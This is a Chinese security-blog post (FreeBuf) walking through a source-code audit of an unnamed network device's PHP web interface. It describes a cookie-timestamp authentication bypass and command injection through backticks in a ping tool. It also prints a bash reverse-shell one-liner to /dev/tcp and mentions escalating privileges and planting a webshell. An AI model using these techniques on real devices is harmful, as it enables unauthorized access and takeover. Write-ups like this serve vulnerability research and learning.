freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

小试牛刀-某网络设备源码审计
FreeBuf_340490 2022-08-16 10:01:32 103814
所属地 香港

闲来无事,就对一网络设备的源码进行了一波审计,至于源码怎么来的,我觉得大家懂的都懂,果不其然,几分钟就能拿下这种站点了。

代码结构

1659425145_62e8d179f20e64923d21c.png!small?1659425146970

和常规网络设备一样,我们可以访问的部分还是集中在www目录下,这里的代码还是很老套的一把梭代码,你甚至看不到MVC这类架构,冤种代码无疑了,冲他。

1659425180_62e8d19ccdd93010a0875.png!small?1659425182006

就是很常见的php的名字是啥,我们就能访问啥,显然我们会去走一遍登录的流程进行审计,然后去看后台功能点。

开发祭天 法力无边

1659425192_62e8d1a8efa1d1eccdd65.png!small?1659425194123

看到所有的后台点都基本上包含这两个inc,我们很自然的就会先去审计这里,然后就发现了祭天的一幕。

1659425229_62e8d1cd7658a80d81677.png!small?1659425230707

这里乍一看还好,但是继续追一下checkLogin这个函数就发现大逻辑问题了,而且这种写法本身就有一个鉴权问题,会导致虽然是302但是我们依旧可以未授权获取后台功能的信息,虽然无法执行功能,但这里也算个点吧。

1659425266_62e8d1f2213dffcd7f9b0.png!small?1659425267515

这里的验证再一出现才是真正的米奇妙妙屋,秒到家了。鉴权全靠时间戳可还行,只关注对应的cookie头而不关注cookie的内容,全靠时间戳,嘻嘻嘻,人麻了。伪造一下cookie头(简单意思就是同类型不同网站的cookie可以复用,只需要修改对应的时间戳即可,弱口令随便秒一个拿到cookie就能bypass登录了)

祭天之二次祭天

既然是网络设备那就搜搜ping或者找找www-tools这类的,一看一个准,直接定位到了他的工具箱。

1659425380_62e8d26453aa3d1e8deb0.png!small?1659425381513

到这基本上可以确定能shell了,往前翻翻过滤瞧瞧。

1659425391_62e8d26fb5e8d87b1c7ba.png!small?1659425392925

笑了,前端过滤,shell稳稳的到手了。为了确保万一再去看一下www-tools里的过滤。

1659425401_62e8d279b08133d713679.png!small?1659425402733

嗯哼?感觉不必多说了,但是他这里还知道过滤一些|,;这种符号还是值得肯定的,然后直接``秒了。

bash -c 'exec bash -i &>/dev/tcp/ip/port <&1',看了看架构都是linux的,而且自动安装的话web目录都是root权限而我们只有www-data权限,这也不难,随手提个权就能写入我们的webshell保持连接了。

总结

很多朋友都想入门审计,其实我觉得代码能力要求并不高,看得懂就行了,主要是要在脑海里有个整体的逻辑。网络设备,入门审计的不二之选,binwalk冲起来就能解决大部分。


# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_340490 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_340490 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者